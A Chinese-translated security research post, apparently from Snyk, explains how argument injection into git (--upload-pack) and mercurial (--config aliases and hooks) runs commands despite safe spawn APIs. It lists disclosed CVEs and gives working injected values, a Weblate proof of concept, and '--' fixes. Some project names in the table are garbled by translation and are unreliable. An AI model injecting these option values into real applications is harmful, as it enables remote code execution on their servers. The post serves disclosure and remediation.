重新发现使用VCS工具时的参数注入——git和mercurial

275 阅读6分钟

这项研究的主要目标之一是探索即使在使用防止命令注入的安全API时,如何有可能执行任意命令。重点是版本控制系统(VCS)工具,如githg (mercurial),在它们的一些选项中,允许执行任意命令(在某些情况下)。

本研究的目标是使用安全的API调用这些命令的网络应用程序和库项目(用任何编程语言编写)。我们的目标不是CLI项目,也不是那些通过使用来自存储源(如配置文件)的数据来调用这些命令的项目。

在这篇博文中,我们旨在展示一些常见的场景,即使使用安全的API,也有可能通过注入参数选项执行任意命令。我们还将为开源维护者提供补救的例子和建议。

参数注入背景

考虑以下情况:一个开发者想从他们的项目目录中调用githg 命令,以便与资源库进行交互。然而,用户控制的值被用作这些命令的参数(允许用户指定资源库的网址、分支名称等)。由于开发者意识到了命令注入的漏洞,他们决定使用安全的API来执行shell命令。例如,如果项目是在Node.js中,来自child_process 模块的spawn API在以下列方式调用时可以防止命令注入。

spawn([“command”, “-option1”, user_input, user_input’)

然而,情况并非总是如此。正如我们很快会看到的,这也取决于这些API所调用的命令。

我们为什么要关心git?

在一些git子命令中,有一些选项允许用户指定哪些程序/命令将被执行。一个例子是--upload-pack ,该选项可用于以下git子命令。

让我们举个例子,git fetch,ls-remotepull 子命令,它们实现了--upload-pack 选项。

根据不同的命令,它们有一些必要的参数,后面是可选的参数。例如,git fetch 至少需要一个参数,即一个存储库,然后是refspec 和一组选项。

在终端上运行以下命令将执行shell命令touch HELLO

git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

使用 "git "的脆弱代码是什么样子的?

为了演示这个漏洞,我将使用Javascript和Python。为了使例子简短,我们假设urlbranch 的值是由用户控制的,没有经过适当的消毒。

下面的例子展示了运行任意代码的可能性,即使是在使用安全的API来保护经典的命令注入时也是如此。

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])

最后一行演示了普通的命令注入有效载荷(即带有特殊字符的有效载荷,如;& | ,等,以连锁命令)不起作用。

Python

import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)

需要注意的是,如果提供了相应的git子命令所需的参数,上述情况可以导致命令的执行。例如,如果只向git ls-remote 子命令提供了一个参数,而没有其他参数,那么前面的场景就不会起作用。

JavaScript (NodeJS)

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.

这是因为提供的唯一参数将被解释为一个仓库(在git ls-remote 的情况下)。如果该命令被赋予另一个有效的参数,我们就处于前面的情况,仍然可以执行代码。

补救建议

对于前面的情况,一个可能的解决方案是在用户控制的值之前添加-- 。正如官方文档所解释的,"当编写一个预计会处理随机用户输入的脚本时,通过在适当的地方放置歧义--来明确哪些参数是哪些参数,是一个很好的做法"。

例如,下面的代码就不会再导致命令的执行。

const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked

我们为什么要关心hg(mercurial)?

正如我们在上一节所看到的,为了执行任意的命令,需要满足一些条件(即必要的参数)。然而,对于hg ,情况并非如此--这使得利用更加容易。

在几个可用的选项中,mercurial允许用户通过使用–config 选项为每个命令(clone,init,log, 等等...)指定aliaseshooks

正如mercurial文档所解释的,别名 "允许你用其他命令(或别名)来定义你自己的命令,可以选择包括参数。 一个别名可以以感叹号("!")开头,使其成为一个shell别名。 一个shell别名可以和shell一起执行,允许你运行任意的命令,例如。

echo = !echo $@

将让你做"hg echo foo" ,让"foo" 打印在你的终端上"。

另一方面,钩子是 "命令或Python函数,通过各种动作自动执行,如开始或结束提交"。它们是一旦满足某些条件就会执行的命令,可以在其他mercurial命令之前(pre-<command> )或之后(post-<command> )执行。

在使用 "hg init "时,脆弱的代码是什么样子的?

让我们看一个例子,当调用hg init 命令时,如果用户的输入没有经过消毒,就有可能执行任意的命令。

别名的例子

hg init -config=alias.init="!touch HELLO"

touch HELLO 命令将被执行。这是因为定义了一个init 命令的别名,并代替hg init 命令被执行。

从代码中执行的相同命令将看起来像下面这样(和以前一样,让我们假设source 是由用户控制的,并且没有经过适当的消毒)。

JavaScript (NodeJS)。

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])

Python

import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])

钩子示例

hg init -config=hooks.pre-init="touch HELLO"

touch HELLO 命令将在(即pre-<command> 选项)init 命令执行之前被执行。

从代码中执行的相同命令将看起来像下面这样。

JavaScript (NodeJS)。

const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])

Python

import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])

与git的情况不同,为了执行任意的命令,我们只需要控制提供给mercurial命令的一个参数--即使它是唯一被使用的参数。

补救建议

再一次,我们可以通过在用户控制的参数前添加-- 字符来解决这个问题

例如,下面的漏洞将不再起作用--它将创建一个名称与source 变量内容相同的版本库文件夹。

const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])

结果

类似的问题在过去已经被利用过了。一些著名的例子是对CocoaPods TrunkPhabricator的远程代码执行攻击。

下表总结了我们在这项研究中发现和披露的问题。

项目漏洞咨询/参考文献CVE
ungitRCEsecurity.snyk.io/vuln/SNYK-J…CVE-2022-25766
mozilla/pontoonRCEhttps://discourse.mozilla.org/t/security-fix-repository-url-validation/94362不适用
GoCD服务器RCEhttps://github.com/gocd/gocd/security/advisories/GHSA-vf5r-r7j2-cf2hCVE-2022-29184
蝵蝏RCE (x2)https://security.snyk.io/vuln/SNYK-PYTHON-WEBLATE-2414088CVE-2022-23915
简单-git命令注入https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-2421199CVE-2022-24433
朴素-git命令注入https://security.snyk.io/vuln/SNYK-RUBY-GIT-2421270CVE-2022-25648
可口可乐-下载器命令注入https://security.snyk.io/vuln/SNYK-RUBY-COCOAPODSDOWNLOADER-2414278CVE-2022-24440
可口可乐下载器命令注入https://security.snyk.io/vuln/SNYK-RUBY-COCOAPODSDOWNLOADER-2414280CVE-2022-21223
主人公/vcs命令注入https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078CVE-2022-21235
git-php命令注入https://security.snyk.io/vuln/SNYK-PHP-CZPROJECTGITPHP-2421349CVE-2022-25866
淘宝网命令注入https://security.snyk.io/vuln/SNYK-PYTHON-LIBVCS-2421204CVE-2022-21187
工作空间-工具命令注入https://security.snyk.io/vuln/SNYK-JS-WORKSPACETOOLS-2421201CVE-2022-25865
厨具执行器命令注入security.snyk.io/vuln/SNYK-P…CVE-2022-24065
hashicorp/go-getter命令注入https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223CVE-2022-26945

在发现这些漏洞后,我们按照我们的漏洞披露政策,私下向维护者报告了这些漏洞。我想亲自感谢我联系的所有维护者,感谢他们的时间和合作。

在下面的案例研究中,我们将解释如何在这些热门项目中执行远程代码执行和命令注入。

案例研究。在Weblate上执行远程代码

Weblate是一个 "基于网络的本地化工具,与版本控制紧密结合"。一个经过验证的用户能够通过参数注入获得远程代码执行。

在添加新的翻译组件和使用mercurial仓库时,用户输入的branch ,在没有任何适当消毒的情况下被用于hg pull 命令。

负责用用户控制的值调用hg pull 命令的相关代码是。

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()
    
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

概念证明

为了执行任意的命令,用户必须在翻译项目中创建一个新的翻译组件Repository分支值等于--config=alias.pull=!id>/app/cache/static/output_rce1.txt 。在这种情况下,id 命令将被执行,并被重定向到一个可以访问的页面,https://localhost:8888/static/output_rce1.txt

  1. 登录到应用程序。
  2. 添加一个新的翻译项目,然后点击保存

  1. 添加一个新的翻译组件(到刚刚创建的翻译项目中),在资源库分支字段中添加有效载荷--config=alias.pull=!id>/app/cache/static/output_rce1.txt ,然后点击继续

  1. 命令id 的输出将在https://localhost:8888/static/output_rce1.txt。

补救措施

正如你所看到的,有可能实现RCE,同时也处理了git仓库。在这种情况下,未经消毒的用户输入repo ,被传递给git ls-remote 命令。

这两个问题都被维护者在4.11.1 (参考Github Release)版本中及时修复。修正后的版本(mercurialgit案例)在用户输入前添加了-- ,以防止其被解释为参数。

案例研究:ruby-git中的命令注入

Ruby git是一个 "可用于创建、读取和操作Git仓库的库,通过包装系统对git二进制的调用"。

当调用fetch(remote = 'origin', opts = {}) 函数时,remote 参数被传递给git fetch 子命令,没有经过任何消毒处理。正如我们之前看到的,git fetch 是接受--upload-pack 参数的git 子命令之一。

负责用用户控制的值调用git fetch 命令的相关代码是。

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

概念验证

下面的PoC展示了如何执行任意命令的可能性。

require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

补救措施

该问题已由维护者在1.11.0 (GitHub发布)版本中修复。与之前的问题一样,修复后的版本在用户控制值前引入了-- 字符。

经验之谈

...对于开发者来说

当使用安全的API调用命令时--防止命令注入并接受用户控制的值--必须确保用户提供的值不会通过注入/操纵一些命令选项来改变命令的行为。为了避免这种混淆,可以用-- 字符来分隔参数和用户控制的值。

...给维护者的建议

如果一个函数/API封装了对接受用户控制值的命令的调用,那么这种行为可能值得记录下来,以避免混淆用户,因为他们看到维护者处理了一些消毒问题(比如通过使用安全的API防止命令注入),但没有处理其他问题(比如当输入可以作为一个危险的选项导致意外行为)。

...对于安全研究人员

我们把注意力集中在githg 命令上,但还有许多其他类似的行为。值得一提的是,即使使用防止命令注入的安全API,仍然会导致安全问题。这完全取决于正在执行的命令。如果你在我们程序支持的开源项目中发现类似的问题(或任何其他安全漏洞)。